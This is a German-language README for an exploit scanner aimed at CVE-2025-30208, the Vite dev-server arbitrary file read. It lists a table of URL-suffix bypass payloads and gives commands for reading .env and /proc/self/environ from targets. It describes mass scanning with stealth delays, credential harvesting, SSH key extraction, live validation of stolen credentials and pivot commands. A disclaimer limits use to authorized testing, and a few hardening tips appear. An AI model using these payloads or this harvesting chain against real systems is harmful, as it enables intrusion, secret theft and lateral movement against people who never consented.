
Exploit-Scanner für CVE-2025-30208 (beliebiges Auslesen von Dateien in Vite) mit Multi-Varianten-Umgehungsdetektion, Credential-Harvesting, SSH-Schlüsselextraktion und strukturierter Berichterstattung für autorisierte Penetrationstests.
CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
Schweregrad: CVSS 5.3 Mittel (netzwerkerreichbarer Dev-Server)
⚠ Nur für autorisierte Sicherheitsengagements.
Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben, ist illegal.
Der Dev-Server von Vite erlaubt das Ausliefern beliebiger Dateien vom Host-Dateisystem über /@fs/-Anfragen.
Eine fehlende Überprüfung der Query-String-Bereinigung in betroffenen Versionen ermöglicht es einem Angreifer, speziell gestaltete Suffixe anzuhängen, um die Erlaubnisliste zu umgehen und jede Datei zu lesen, auf die der Prozess zugreifen kann – einschließlich .env-Dateien, SSH-Private-Keys, Cloud-Anmeldedaten und /proc-Einträge.
| Branch | Letzte anfällige Version | Behoben |
|---|---|---|
| 6.3.x | 6.3.0 | 6.3.1+ |
| 6.2.x | 6.2.2 | 6.2.3+ |
| 6.1.x | 6.1.1 | 6.1.2+ |
| 6.0.x | 6.0.11 | 6.0.12+ |
| 5.4.x | 5.4.14 | 5.4.15+ |
| 4.5.x | 4.5.9 | 4.5.10+ |
| Name | Suffix / Abfrage | Beschreibung |
|---|---|---|
raw?? | ?raw?? | Nachgestelltes ?? umgeht rawRE |
import&raw?? | ?import&raw?? | ES-Modul + raw kombiniert |
raw? | ?raw? | Einzelnes nachgestelltes ? |
url&raw?? | ?url&raw?? | URL-Modus kombiniert |
raw&url?? | ?raw&url?? | Umgekehrte Parameterreihenfolge |
import&?raw | ?import&?raw | Fehlerhaftes Import-Präfix |
sec-fetch | ?raw + Sec-Fetch-Header | Browser-Script-Kontext |
raw-encoded | ?raw%3f%3f | URL-kodierte Trennzeichen |
double-slash | ?raw??/ | Doppelschrägstrich-Suffix-Bypass (v5) |
pct-all | %3fraw%3f%3f | Vollständig prozentkodierte Abfrage (v5) |
raw-hash | ?raw??# | Fragment-Anker-Bypass (v5) |
wasm-init | ?inline=1.wasm?init | CVE-2025-31125 verwandt (wasm init) |
pip install requests
# oder
pip install -r requirements.txt
python main.py -t https://target.com
python main.py -t https://target.com --full-chain --output /tmp/report
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
python main.py -t https://target.com --no-color | tee scan.log
python main.py --version
python -m cve30208 -t https://target.com
| Flag | Standard | Beschreibung |
|---|---|---|
-t/--target | — | Einzelne Ziel-URL |
-l/--lists | — | Datei mit einem Ziel pro Zeile |
--stealth | aus | Zufällige Verzögerungen zwischen Anfragen hinzufügen |
--proxy | — | HTTP/HTTPS-Proxy (http://host:port) |
--timeout | 10 | Timeout pro Anfrage in Sekunden |
--verify | aus | TLS-Zertifikatsprüfung aktivieren |
--file | — | Einen bestimmten Pfad auf dem Zielhost lesen |
--save | — | Inhalt von --file lokal speichern |
--full-chain | an | Vollständige Exploitation-Kette ausführen (Live-Validierung ist Standard) |
--output | — | JSON- + Markdown-Bericht unter diesem Basis-Pfad speichern |
--workers | 10 | Parallele Arbeiter für Massen-Scan |
--ports | siehe unten | Komma-getrennte Ports für Massen-Scan |
--no-color/--plain | aus | ANSI-Farbcodes deaktivieren |
--safe-mode | aus | Geheimniswerte in der Terminalausgabe schwärzen |
--show-secrets | aus | Vollständige Terminal-Geheimnisse anzeigen (überschreibt --safe-mode) |
--version | — | Version anzeigen und beenden |
Standard-Massen-Scan-Ports: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443
Wenn --output /tmp/report angegeben wird, schreibt der Scanner:
/tmp/report.json — maschinenlesbare strukturierte Ergebnisse/tmp/report.md — menschenlesbarer Markdown-BerichtDer Massen-Scan gibt immer VULN_COUNT=N in der letzten Zeile aus, um einfache Shell-Scripting zu ermöglichen:
python main.py -l targets.txt | grep '^VULN_COUNT='
Einzelscan-Ausgaben geben am Ende SCAN_STATUS=VULNERABLE|NOT_VULNERABLE für die Automatisierung aus.
cve30208/
├── __init__.py — öffentliche API-Oberfläche
├── __main__.py — Einstiegspunkt für python -m cve30208
├── constants.py — BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/Scan-Konstanten
├── ui.py — ANSI-Farbcodes, Spin/NullSpin, Terminal-Hilfsfunktionen
├── utils.py — gemeinsame Helfer (_unescape_js_string)
├── secrets.py — scan_secrets(), parse_env(), parse_environ()
├── ssh.py — extract_ssh_key(), collect_ssh_targets()
├── exploit.py — ExploitResult, ExploitStage (Live-Anmeldedatenvalidierung)
│ enthält eine Check-Registry für einfachere Erweiterung
├── report.py — save_report(), make_md()
└── scanner.py — FR/R-Dataclasses, Scanner, bulk_scan(), main()
main.py — Abwärtskompatibilitäts-Shim
requirements.txt
Der Scanner unterdrückt automatisch wiederholte Artefakte, sodass die Ausgabe sauber bleibt,
selbst wenn HOME gleich /root ist oder dasselbe Geheimnis in mehreren Dateien vorkommt:
| Ebene | Mechanismus |
|---|---|
| Dateisystem-Lesevorgänge | stage_fs normalisiert die SSH-Key-Basisliste mit dict.fromkeys und verwirft doppelte Pfade aus der reads-Warteschlange, bevor eine Ausgabe erzeugt wird. |
| Dateispeicherungen | Scanner._save prüft einen pro-Scan _seen_file_paths-Set; doppelte Pfade geben den bereits gespeicherten FR zurück, ohne erneut an r.files anzuhängen. |
| Geheimnisse | Scanner._save dedupliziert r.secrets global nach (name, value) über alle Dateien hinweg; die Deduplizierung innerhalb einer Datei wird separat in scan_secrets behandelt. |
| SSH-Schlüssel | stage_ssh fasst Schlüssel mit derselben PEM-Signatur (erste _PEM_SIG_LEN Bytes) zusammen, die in mehreren Quelldateien vorkommen. |
| Pivot-Befehle | Pivot-Blöcke werden nach (key_source, host, port) indiziert; identische Kombinationen werden nur einmal ausgegeben. |
Die Zusammenfassungszeile gibt an, wie viele Dateien, Geheimnisse und SSH-Schlüssel als Duplikate unterdrückt wurden, z.B.:
deduped 2 Datei(en), 4 Anmeldedatensätze, 1 SSH-Schlüssel als Duplikate unterdrückt
--host 0.0.0.0 in nicht vertrauenswürdigen Netzwerken..env-Dateien und entfernen Sie unnötige Geheimnisse aus dem Projekt.Dieses Werkzeug wird nur für autorisierte Penetrationstests und Sicherheitsforschung bereitgestellt.
Durch die Nutzung dieses Werkzeugs erklären Sie sich damit einverstanden, dass Sie eine ausdrückliche schriftliche Genehmigung zum Testen der Zielsysteme haben.
Die Autoren übernehmen keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden.
CVE-2025-30208 PoC v5
Das generierte JSON enthält nun:
schema_version (aktuell: 1.0.0)status (VULNERABLE oder NOT_VULNERABLE)safe_mode (true, wenn der Terminal-Geheimnis-Schwärzungsmodus aktiviert war)report_redacted (true, wenn mindestens ein Geheimnis existierte und in persistierten Berichten geschwärzt wurde)